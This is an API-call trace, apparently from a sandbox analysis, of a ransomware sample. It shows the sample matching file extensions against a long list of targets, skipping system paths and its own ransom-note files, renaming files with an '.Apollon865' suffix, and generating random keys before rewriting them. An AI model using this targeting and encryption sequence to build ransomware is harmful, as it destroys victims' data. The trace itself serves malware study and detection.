	[0087.094] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0087.095] lstrlenW (lpString="mpd") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0087.095] lstrlenW (lpString="mrg") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0087.095] lstrlenW (lpString="mud") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0087.095] lstrlenW (lpString="mwb") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0087.095] lstrlenW (lpString="myd") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0087.095] lstrlenW (lpString="ndf") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0087.095] lstrlenW (lpString="nnt") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0087.095] lstrlenW (lpString="nrmlib") returned 6
	[0087.095] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0087.095] lstrlenW (lpString="ns2") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0087.095] lstrlenW (lpString="ns3") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0087.095] lstrlenW (lpString="ns4") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0087.095] lstrlenW (lpString="nsf") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0087.095] lstrlenW (lpString="nv") returned 2
	[0087.095] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0087.095] lstrlenW (lpString="nv2") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0087.095] lstrlenW (lpString="nwdb") returned 4
	[0087.095] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0087.095] lstrlenW (lpString="nyf") returned 3
	[0087.095] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0087.096] lstrlenW (lpString="odb") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0087.096] lstrlenW (lpString="odb") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0087.096] lstrlenW (lpString="oqy") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0087.096] lstrlenW (lpString="ora") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0087.096] lstrlenW (lpString="orx") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0087.096] lstrlenW (lpString="owc") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0087.096] lstrlenW (lpString="p96") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0087.096] lstrlenW (lpString="p97") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0087.096] lstrlenW (lpString="pan") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0087.096] lstrlenW (lpString="pdb") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0087.096] lstrlenW (lpString="pdm") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0087.096] lstrlenW (lpString="pnz") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0087.096] lstrlenW (lpString="qry") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0087.096] lstrlenW (lpString="qvd") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0087.096] lstrlenW (lpString="rbf") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0087.096] lstrlenW (lpString="rctd") returned 4
	[0087.096] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0087.096] lstrlenW (lpString="rod") returned 3
	[0087.096] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0087.096] lstrlenW (lpString="rodx") returned 4
	[0087.097] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0087.097] lstrlenW (lpString="rpd") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0087.097] lstrlenW (lpString="rsd") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0087.097] lstrlenW (lpString="sas7bdat") returned 8
	[0087.097] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0087.097] lstrlenW (lpString="sbf") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0087.097] lstrlenW (lpString="scx") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0087.097] lstrlenW (lpString="sdb") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0087.097] lstrlenW (lpString="sdc") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0087.097] lstrlenW (lpString="sdf") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0087.097] lstrlenW (lpString="sis") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0087.097] lstrlenW (lpString="spq") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0087.097] lstrlenW (lpString="te") returned 2
	[0087.097] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0087.097] lstrlenW (lpString="teacher") returned 7
	[0087.097] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0087.097] lstrlenW (lpString="tmd") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0087.097] lstrlenW (lpString="tps") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0087.097] lstrlenW (lpString="trc") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0087.097] lstrlenW (lpString="trc") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0087.097] lstrlenW (lpString="trm") returned 3
	[0087.097] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0087.098] lstrlenW (lpString="udb") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0087.098] lstrlenW (lpString="udl") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0087.098] lstrlenW (lpString="usr") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0087.098] lstrlenW (lpString="v12") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0087.098] lstrlenW (lpString="vis") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0087.098] lstrlenW (lpString="vpd") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0087.098] lstrlenW (lpString="vvv") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0087.098] lstrlenW (lpString="wdb") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0087.098] lstrlenW (lpString="wmdb") returned 4
	[0087.098] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0087.098] lstrlenW (lpString="wrk") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0087.098] lstrlenW (lpString="xdb") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0087.098] lstrlenW (lpString="xld") returned 3
	[0087.098] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0087.098] lstrlenW (lpString="xmlff") returned 5
	[0087.098] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0087.098] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.Apollon865") returned 61
	[0087.098] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0087.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.100] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=504) returned 1
	[0087.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.100] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.101] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.101] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.101] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x15c
	[0087.102] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000
	[0087.102] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.103] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.103] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.104] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.104] CloseHandle (hObject=0x15c) returned 1
	[0087.104] CloseHandle (hObject=0x9c) returned 1
	[0087.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.105] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e2e040, ftCreationTime.dwHighDateTime=0x1d4d007, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fJQeYltRV", cAlternateFileName="FJQEYL~1")) returned 1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="Apollon865.txt.exe") returned 1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2=".") returned 1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="..") returned 1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="windows") returned -1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="bootmgr") returned 1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="temp") returned -1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="pagefile.sys") returned -1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="boot") returned 1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="ids.txt") returned -1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="ntuser.dat") returned -1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="perflogs") returned -1
	[0087.105] lstrcmpiW (lpString1="fJQeYltRV", lpString2="MSBuild") returned -1
	[0087.105] lstrlenW (lpString="fJQeYltRV") returned 9
	[0087.105] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned 50
	[0087.105] lstrcpyW (in: lpString1=0x119e656, lpString2="fJQeYltRV" | out: lpString1="fJQeYltRV") returned="fJQeYltRV"
	[0087.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0087.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5afce8
	[0087.106] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b10 | out: ListHead=0x5b75f0, ListEntry=0x5b7b10) returned 0x5b7a50
	[0087.106] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b42390, ftCreationTime.dwHighDateTime=0x1d4c6da, ftLastAccessTime.dwLowDateTime=0x27b843a0, ftLastAccessTime.dwHighDateTime=0x1d4c6b3, ftLastWriteTime.dwLowDateTime=0x27b843a0, ftLastWriteTime.dwHighDateTime=0x1d4c6b3, nFileSizeHigh=0x0, nFileSizeLow=0x94b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hd2FRjNaxKBP5Y_XNNVl.bmp", cAlternateFileName="HD2FRJ~1.BMP")) returned 1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".") returned 1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="..") returned 1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="windows") returned -1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="bootmgr") returned 1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="temp") returned -1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="pagefile.sys") returned -1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="boot") returned 1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="ids.txt") returned -1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="ntuser.dat") returned -1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="perflogs") returned -1
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="MSBuild") returned -1
	[0087.106] lstrlenW (lpString="Hd2FRjNaxKBP5Y_XNNVl.bmp") returned 24
	[0087.106] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV") returned 48
	[0087.106] lstrcpyW (in: lpString1=0x119e656, lpString2="Hd2FRjNaxKBP5Y_XNNVl.bmp" | out: lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp") returned="Hd2FRjNaxKBP5Y_XNNVl.bmp"
	[0087.106] lstrlenW (lpString="Hd2FRjNaxKBP5Y_XNNVl.bmp") returned 24
	[0087.106] lstrlenW (lpString="Apollon865") returned 10
	[0087.106] lstrcmpiW (lpString1="_XNNVl.bmp", lpString2="Apollon865") returned -1
	[0087.106] lstrlenW (lpString=".dll") returned 4
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".dll") returned 1
	[0087.106] lstrlenW (lpString=".lnk") returned 4
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".lnk") returned 1
	[0087.106] lstrlenW (lpString=".ini") returned 4
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".ini") returned 1
	[0087.106] lstrlenW (lpString=".sys") returned 4
	[0087.106] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".sys") returned 1
	[0087.106] lstrlenW (lpString="Hd2FRjNaxKBP5Y_XNNVl.bmp") returned 24
	[0087.106] lstrlenW (lpString="bak") returned 3
	[0087.106] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0087.106] lstrlenW (lpString="ba_") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0087.107] lstrlenW (lpString="dbb") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0087.107] lstrlenW (lpString="vmdk") returned 4
	[0087.107] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0087.107] lstrlenW (lpString="rar") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0087.107] lstrlenW (lpString="zip") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0087.107] lstrlenW (lpString="tgz") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0087.107] lstrlenW (lpString="vbox") returned 4
	[0087.107] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0087.107] lstrlenW (lpString="vdi") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0087.107] lstrlenW (lpString="vhd") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0087.107] lstrlenW (lpString="vhdx") returned 4
	[0087.107] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0087.107] lstrlenW (lpString="avhd") returned 4
	[0087.107] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0087.107] lstrlenW (lpString="db") returned 2
	[0087.107] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0087.107] lstrlenW (lpString="db2") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0087.107] lstrlenW (lpString="db3") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0087.107] lstrlenW (lpString="dbf") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0087.107] lstrlenW (lpString="mdf") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0087.107] lstrlenW (lpString="mdb") returned 3
	[0087.107] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0087.107] lstrlenW (lpString="sql") returned 3
	[0087.108] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0087.108] lstrlenW (lpString="sqlite") returned 6
	[0087.108] lstrcmpiW (lpString1="Vl.bmp", lpString2="sqlite") returned 1
	[0087.108] lstrlenW (lpString="sqlite3") returned 7
	[0087.108] lstrcmpiW (lpString1="NVl.bmp", lpString2="sqlite3") returned -1
	[0087.108] lstrlenW (lpString="sqlitedb") returned 8
	[0087.108] lstrcmpiW (lpString1="NNVl.bmp", lpString2="sqlitedb") returned -1
	[0087.108] lstrlenW (lpString="xml") returned 3
	[0087.108] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0087.108] lstrlenW (lpString="$er") returned 3
	[0087.108] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0087.108] lstrlenW (lpString="4dd") returned 3
	[0087.108] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0087.108] lstrlenW (lpString="4dl") returned 3
	[0087.108] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0087.108] lstrlenW (lpString="^^^") returned 3
	[0087.108] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0087.108] lstrlenW (lpString="abs") returned 3
	[0087.108] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0087.108] lstrlenW (lpString="abx") returned 3
	[0087.108] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0087.108] lstrlenW (lpString="accdb") returned 5
	[0087.108] lstrcmpiW (lpString1="l.bmp", lpString2="accdb") returned 1
	[0087.108] lstrlenW (lpString="accdc") returned 5
	[0087.108] lstrcmpiW (lpString1="l.bmp", lpString2="accdc") returned 1
	[0087.108] lstrlenW (lpString="accde") returned 5
	[0087.108] lstrcmpiW (lpString1="l.bmp", lpString2="accde") returned 1
	[0087.108] lstrlenW (lpString="accdr") returned 5
	[0087.108] lstrcmpiW (lpString1="l.bmp", lpString2="accdr") returned 1
	[0087.108] lstrlenW (lpString="accdt") returned 5
	[0087.108] lstrcmpiW (lpString1="l.bmp", lpString2="accdt") returned 1
	[0087.108] lstrlenW (lpString="accdw") returned 5
	[0087.109] lstrcmpiW (lpString1="l.bmp", lpString2="accdw") returned 1
	[0087.109] lstrlenW (lpString="accft") returned 5
	[0087.109] lstrcmpiW (lpString1="l.bmp", lpString2="accft") returned 1
	[0087.109] lstrlenW (lpString="adb") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.109] lstrlenW (lpString="adb") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.109] lstrlenW (lpString="ade") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0087.109] lstrlenW (lpString="adf") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0087.109] lstrlenW (lpString="adn") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0087.109] lstrlenW (lpString="adp") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0087.109] lstrlenW (lpString="alf") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0087.109] lstrlenW (lpString="ask") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0087.109] lstrlenW (lpString="btr") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0087.109] lstrlenW (lpString="cat") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0087.109] lstrlenW (lpString="cdb") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0087.109] lstrlenW (lpString="ckp") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0087.109] lstrlenW (lpString="cma") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0087.109] lstrlenW (lpString="cpd") returned 3
	[0087.109] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0087.109] lstrlenW (lpString="dacpac") returned 6
	[0087.109] lstrcmpiW (lpString1="Vl.bmp", lpString2="dacpac") returned 1
	[0087.109] lstrlenW (lpString="dad") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0087.110] lstrlenW (lpString="dadiagrams") returned 10
	[0087.110] lstrcmpiW (lpString1="_XNNVl.bmp", lpString2="dadiagrams") returned -1
	[0087.110] lstrlenW (lpString="daschema") returned 8
	[0087.110] lstrcmpiW (lpString1="NNVl.bmp", lpString2="daschema") returned 1
	[0087.110] lstrlenW (lpString="db-journal") returned 10
	[0087.110] lstrcmpiW (lpString1="_XNNVl.bmp", lpString2="db-journal") returned -1
	[0087.110] lstrlenW (lpString="db-shm") returned 6
	[0087.110] lstrcmpiW (lpString1="Vl.bmp", lpString2="db-shm") returned 1
	[0087.110] lstrlenW (lpString="db-wal") returned 6
	[0087.110] lstrcmpiW (lpString1="Vl.bmp", lpString2="db-wal") returned 1
	[0087.110] lstrlenW (lpString="dbc") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0087.110] lstrlenW (lpString="dbs") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0087.110] lstrlenW (lpString="dbt") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0087.110] lstrlenW (lpString="dbv") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0087.110] lstrlenW (lpString="dbx") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0087.110] lstrlenW (lpString="dcb") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0087.110] lstrlenW (lpString="dct") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0087.110] lstrlenW (lpString="dcx") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0087.110] lstrlenW (lpString="ddl") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0087.110] lstrlenW (lpString="dlis") returned 4
	[0087.110] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0087.110] lstrlenW (lpString="dp1") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0087.110] lstrlenW (lpString="dqy") returned 3
	[0087.110] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0087.111] lstrlenW (lpString="dsk") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0087.111] lstrlenW (lpString="dsn") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0087.111] lstrlenW (lpString="dtsx") returned 4
	[0087.111] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0087.111] lstrlenW (lpString="dxl") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0087.111] lstrlenW (lpString="eco") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0087.111] lstrlenW (lpString="ecx") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0087.111] lstrlenW (lpString="edb") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0087.111] lstrlenW (lpString="epim") returned 4
	[0087.111] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0087.111] lstrlenW (lpString="fcd") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0087.111] lstrlenW (lpString="fdb") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
